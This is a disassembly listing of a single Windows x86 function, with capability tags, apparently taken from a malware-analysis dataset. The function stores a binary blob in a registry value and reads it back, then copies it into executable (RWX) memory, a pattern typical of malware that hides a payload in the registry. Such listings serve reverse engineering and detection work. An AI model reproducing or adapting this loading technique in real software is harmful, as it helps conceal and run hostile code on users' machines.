Function at 0x40c670
Capabilities:
Allocate or change rwx memory
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x571e20
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0xa90
mov eax, dword [0x5e8220]
xor eax, ebp
mov dword [ebp - 0x2c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xaa0], ecx
mov eax, dword [ebp + 8]
movzx ecx, byte [eax]
cmp ecx, 0xc9
jne 0x40c6bb
jmp 0x40cb58
cmp dword [ebp + 0xc], 0x65
jne 0x40c9ef
mov dword [ebp - 0x18], 3
mov dword [ebp - 0x14], 0
lea edx, [ebp - 0x1c]
push edx
push 0x20019
push 0
push 0x589dd0
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40c7ca
lea eax, [ebp - 0x14]
push eax
push 0
lea ecx, [ebp - 0x18]
push ecx
push 0
mov edx, dword [str.389126097FFFEF316D35ACD0610E5F31]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [ebp - 0x14], 0xa44
jbe 0x40c7c0
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.004163cd
add esp, 4
mov dword [ebp - 0xa88], eax
mov edx, dword [ebp - 0xa88]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x14]
push eax
push 0
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.005539a0
add esp, 0xc
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x20]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 0
mov edx, dword [str.389126097FFFEF316D35ACD0610E5F31]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40c7c0
push 0xa44
mov ecx, dword [ebp - 0x20]
push ecx
push 0x5e9c60
call fcn.00552ce0
add esp, 0xc
push 0x40
push 0x3000
mov edx, dword [0x5e9e68]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x5ea6a4], eax
mov eax, dword [0x5e9e68]
push eax
mov ecx, dword [ebp - 0x20]
add ecx, 0xa44
push ecx
mov edx, dword [0x5ea6a4]
push edx
call fcn.00552ce0
add esp, 0xc
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x5e9e6c
mov ecx, dword [ebp + 8]
add ecx, 1
push ecx
call fcn.00555bd8
add esp, 8
test eax, eax
je 0x40c9df
cmp dword [0x5ea6a4], 0
je 0x40c80d
push 0x8000
push 0
mov edx, dword [0x5ea6a4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x5ea6a4], 0
mov dword [ebp - 0xa78], 0
mov eax, 0x767b
mov word [ebp - 0xa74], ax
mov ecx, 0x5f55
mov word [ebp - 0xa72], cx
mov edx, 0x6a21
mov word [ebp - 0xa70], dx
mov eax, 0x5757
mov word [ebp - 0xa6e], ax
mov ecx, 0x2e
mov word [ebp - 0xa6c], cx
mov edx, 0x64
mov word [ebp - 0xa6a], dx
mov eax, 0x6c
mov word [ebp - 0xa68], ax
mov ecx, 0x6c
mov word [ebp - 0xa66], cx
mov edx, 0x5f
mov word [ebp - 0xa64], dx
mov eax, 0x62
mov word [ebp - 0xa62], ax
mov ecx, 0x69
mov word [ebp - 0xa60], cx
mov edx, 0x6e
mov word [ebp - 0xa5e], dx
xor eax, eax
mov word [ebp - 0xa5c], ax
push 0x1e4
push 0
lea ecx, [ebp - 0xa5a]
push ecx
call fcn.005539a0
add esp, 0xc
xor edx, edx
mov word [ebp - 0x876], dx
mov dword [ebp - 0x874], 0
mov dword [ebp - 0x870], 0
push 0x64
push 0
lea eax, [ebp - 0x86c]
push eax
call fcn.005539a0
add esp, 0xc
push 0x7d0
push 0
lea ecx, [ebp - 0x808]
push ecx
call fcn.005539a0
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x28], 0xa45
mov eax, dword [ebp - 0x28]
push eax
call fcn.004163cd
add esp, 4
mov dword [ebp - 0xa8c], eax
mov ecx, dword [ebp - 0xa8c]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
mov byte [edx], 5
mov dword [ebp - 4], 0
mov eax, 1
test eax, eax
je 0x40c972
mov dword [ebp - 0xa90], 0xb
push 0x5ca708
lea ecx, [ebp - 0xa90]
push ecx
call fcn.00553434
jmp 0x40c99e
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0xaa0]
call fcn.004046d0
cmp dword [ebp - 0x24], 0
je 0x40c9dd
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xa94], ecx
mov edx, dword [ebp - 0xa94]
push edx
call fcn.004163c2
add esp, 4
mov dword [ebp - 0x24], 0
jmp 0x40c9ea
mov ecx, dword [ebp - 0xaa0]
call fcn.0040c630
jmp 0x40cb58
push 0xa44
mov eax, dword [ebp + 8]
add eax, 1
push eax
push 0x5e9c60
call fcn.00552ce0
add esp, 0xc
push 0x40
push 0x3000
mov ecx, dword [0x5e9e68]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x5ea6a4], eax
mov edx, dword [0x5e9e68]
push edx
mov eax, dword [ebp + 8]
add eax, 0xa45
push eax
mov ecx, dword [0x5ea6a4]
push ecx
call fcn.00552ce0
add esp, 0xc
mov edx, dword [0x5e9e68]
add edx, 0xa44
mov dword [ebp - 0xa80], edx
mov eax, dword [ebp - 0xa80]
push eax
call fcn.004163cd
add esp, 4
mov dword [ebp - 0xa98], eax
mov ecx, dword [ebp - 0xa98]
mov dword [ebp - 0xa7c], ecx
cmp dword [ebp - 0xa7c], 0
je 0x40cb1f
push 0xa44
push 0x5e9c60
mov edx, dword [ebp - 0xa7c]
push edx
call fcn.00552ce0
add esp, 0xc
mov eax, dword [0x5e9e68]
push eax
mov ecx, dword [0x5ea6a4]
push ecx
mov edx, dword [ebp - 0xa7c]
add edx, 0xa44
push edx
call fcn.00552ce0
add esp, 0xc
lea eax, [ebp - 0xa84]
push eax
push str.Console0
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40cb12
mov ecx, dword [str.389126097FFFEF316D35ACD0610E5F31]
push ecx
mov edx, dword [ebp - 0xa84]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [ebp - 0xa80]
push eax
mov ecx, dword [ebp - 0xa7c]
push ecx
push 3
push 0
mov edx, dword [str.389126097FFFEF316D35ACD0610E5F31]
push edx
mov eax, dword [ebp - 0xa84]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0xa84]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xa7c], 0
je 0x40cb4d
mov edx, dword [ebp - 0xa7c]
mov dword [ebp - 0xa9c], edx
mov eax, dword [ebp - 0xa9c]
push eax
call fcn.004163c2
add esp, 4
mov dword [ebp - 0xa7c], 0
mov ecx, dword [ebp - 0xaa0]
call fcn.0040c630
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x2c]
xor ecx, ebp
call fcn.00553425
mov esp, ebp
pop ebp
ret 8